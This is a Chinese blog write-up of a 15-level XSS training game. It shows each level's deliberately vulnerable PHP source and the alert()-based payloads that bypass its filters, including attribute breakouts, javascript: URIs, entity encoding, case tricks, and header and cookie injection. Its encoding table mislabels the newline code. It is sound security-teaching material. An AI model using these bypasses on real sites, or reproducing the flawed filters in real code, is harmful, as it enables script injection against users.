xss小遊戲源碼分析

配置

下載地址://files.cnblogs.com/files/Lmg66/xssgame-master.zip
使用:下載解壓,放到www目錄下(phpstudy),http服務下都行,我使用的是phpstudy

第一關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
window.location.href="level2.php?keyword=跨站師"; 
}
</script>
<title>第1關</title>
</head>
<body>
<h1 align=center>第1關 先熱個身吧</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶:".$str."</h2>";
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/8deed969-b339-4c84-8654-b1a1e40e06de.png" width="50%"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

分析:

對name沒有任何的過濾輸出到標籤中,基本的xss都行

payload:

level1.php?name=<script>alert('xss')</script>

第二關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level3.php?writing=苦盡甘來"; 
}
</script>
<title>第2關</title>
</head>
<body>
<h1 align=center>第2關 窒息的操作</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

分析:

用htmlspecialchars()函數,之前做過,會html實體化,<>會被轉義
可以嘗試”來閉合”

payload:

" onclick=alert('XSS') //
" onclick=alert('XSS') "

第三關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level4.php?keyword=寧靜致遠"; 
}
</script>
<title>第3關</title>
</head>
<body>
<h1 align=center>第3關 這該咋辦啊</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

分析:

和第二關類似,只是變成了單引號,閉合單引號即可

payload:

' onclick=alert('xss') '
' onclick=alert('xs') //

第四關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level5.php?keyword=逆水行舟"; 
}
</script>
<title>第4關</title>
</head>
<body>
<h1 align=center>第4關 生無可戀</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/0d3f0d24-a861-4d20-97da-f807ea842be8.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";
?>
</body>
</html>

分析:

在第二關的基礎上進行了< >的過濾,但第二關payload沒有 < >仍然可以使用

payload:

" onclick=alert('XSS') //
" onclick=alert('XSS') "

第五關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level6.php?keyword=柳暗花明"; 
}
</script>
<title>第5關</title>
</head>
<body>
<h1 align=center>第5關 沒錯又是搜索</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/cb30e912-eabc-4357-89eb-49e8de1b1961.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";
?>
</body>
</html>

分析:

strtolower()函數,把字元轉換為小寫,接著替換script標籤和on使這個兩個事件沒法使用,但仍可以閉合引號,所以要使用其他標籤通過javascript:alert(‘xss’)來觸發彈出

payload:

"><a href=javascript:alert('xss') "
"><a href=javascript:alert('xss') //

第六關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level7.php?keyword=持之以恆"; 
}
</script>
<title>第6關</title>
</head>
<body>
<h1 align=center>第6關 嗯 還是搜索</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/92847238-8dda-473f-9c04-83986de1472a.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>";
?>
</body>
</html>

分析:

替換了script標籤,on,src,data,herf,且html實體化看起來似乎沒問題,但相比前幾關發現沒有轉換為小寫,所以可大小寫來繞過匹配

payload:

" ONclick=alert('XSS') //
"><a Href=javascript:alert('XSS') //

第7關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level8.php?keyword=笨鳥先飛"; 
}
</script>
<title>第7關</title>
</head>
<body>
<h1 align=center>第7關 猜一猜下面題目還有搜索嘛</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/17532328-f4cc-4bca-b283-c7f7b5a13f80.jpg" width="20%"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>";
?>
</body>
</html>

分析:

get方式傳入keyword,strtolowe()函數變為小寫,然後replace()函數匹配script,on,src,data,href,但是只是匹配了一次,所以可以嵌套繞過,最後htmlspecialchars(),所以< > 不能用,嘗試閉合”

payload:

" oonnclick=alert('XSS') //

第八關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level9.php?keyword=水滴石穿"; 
}
</script>
<title>第8關</title>
</head>
<body>
<h1 align=center>第8關 老鐵要和我換友鏈嘛?</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/d2d2080f-746c-4276-9f63-585fc4fd4a9c.jpg" width="20%"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>
</body>
</html>

分析:

get方式傳入keyword,strtolower()轉換為小寫,然後replace替換script,on,src,data,href,”(”號html實體化了),然後發現又html實體化輸入,似乎沒有問題,然後發現友情鏈接,沒有html實體化輸入,可以嘗試在這個位置繞過,但是都被過濾了,嘗試編碼繞過對JavaScript;alert(‘xss’)編碼(呸,不是編碼)轉義//www.jianshu.com/p/6dcefb2a59b2(參考鏈接),目的是繞過replace,然後仍能被html解析

payload:

javascrip&#x74:alert('xss')
javascrip&#x09t:alert('XSS')

第九關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level10.php?keyword=持之以恆"; 
}
</script>
<title>第9關</title>
</head>
<body>
<h1 align=center>第9關 添加友連again</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'//'))
{
  echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/51fb4236-2965-42ab-851e-0ec266b3c3ba.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>
</body>
</html>

分析:

和第八關相同,只是判斷鏈接是否合法,加上//就可以了

payload:

javascrip&#x74:alert('xss') ////

第十關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level11.php?keyword=自強不息"; 
}
</script>
<title>第10關</title>
</head>
<body>
<h1 align=center>第10關 嗯 搜索又出現了</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/fed9cb1c-3111-49a8-b111-16081ac4b16c.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

分析:

傳入keyword和t_sort,keyword沒有過濾,但是html實體化輸出,而且沒在標籤內,所以應該沒問題,看t_sort,過濾了< > ,而且沒有實體化輸出
嘗試閉合引號

payload:

?keyword=123&t_sort=" type="text" onclick=alert('XSS') //

第十一關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level12.php?keyword=破釜沉舟"; 
}
</script>
<title>第11關</title>
</head>
<body>
<h1 align=center>第11關 為什麼這麼多搜索呢</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/60a6e17f-c823-40c3-ab84-502b2f905456.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

分析:

str和str00都html實體化而且不在script標籤內部,且閉合為’,應該無解,然後發現str33,沒有實體化,$_SERVER[‘HTTP_REFERER’]獲取httpreferer資訊,只是過濾了< > ,可以閉合雙引號來繞過,不過我沒明白這題啥用

payload:

" type = "text" onclick=alert('xss')//

第十二關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level13.php?keyword=矢志不渝"; 
}
</script>
<title>第12關</title>
</head>
<body>
<h1 align=center>第12關 黑人問號</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/f4558b8c-778b-4dd8-bef6-425766f9d178.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

分析:

和上一關一樣,xss位置變一下

payload:

" type = "text" onclick=alert('xss')//

第十三關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level14.php"; 
}
</script>
<title>第13關</title>
</head>
<body>
<h1 align=center>第13關 做題好爽啊</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/c048c2e3-7937-478b-9781-0ee4d7214648.jpg"></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

分析:

$_COOKIE[“user”];獲取cookie,然後過濾< > 沒有實體化輸入,嘗試閉合雙引號

payload:

user=" type = "text" onclick=alert('xss')//

第十四關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script src="//chao.jsanhuan.cn/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("哎喲 不錯哦!");
 window.location.href="level15.php?keyword=業精於勤"; 
}
</script>
<title>第14關</title>
</head>
<h1 align=center>第14關 恭喜你快要通關了</h1>
<p align=center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/54c95d0f-037b-4885-a3f4-f8a3ad5c9341.jpg" width="20%"></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

分析:

傳入src,然後實體化輸出,然後似乎無解,仔細看前面ng-include:,
ng-include 指令用於包含外部的 HTML 文件。包含的內容將作為指定元素的子節點。ng-include 屬性的值可以是一個表達式,返回一個文件名。默認情況下,包含的文件需要包含在同一個域名下。所以傳入其他關的xss,不過不知道這有啥用既然其他地點有xss

payload:

src='level1.php?name=<img src=x onerror=alert(1)>'

由於引用的js程式碼失敗,所以我沒成功,但云靶機是對的,雲靶機地址://www.xss.tv/

第十五關

查看源碼:

<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script>
window.alert = function()  
{     
confirm("ORZ ORZ ORZ 恭喜全部通過");
 window.location.href="success.txt"; 
}
</script>
<title>第15關</title>
</head>
<body>
<h1 align=center>第15關 厲害了 Word哥</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src="//dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str5)."</h3>";
?>
</body>
</html>

分析:

get傳入可以word,轉換為小寫,讓過濾script,空格,/,可以使用url編碼來繞過

符號 url編碼
回車 %0d
換行 %0d

payload:

level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>

參考文章

國光大佬://www.sqlsec.com/2020/01/xss.html
最後歡迎訪問我的部落格://lmg66.github.io/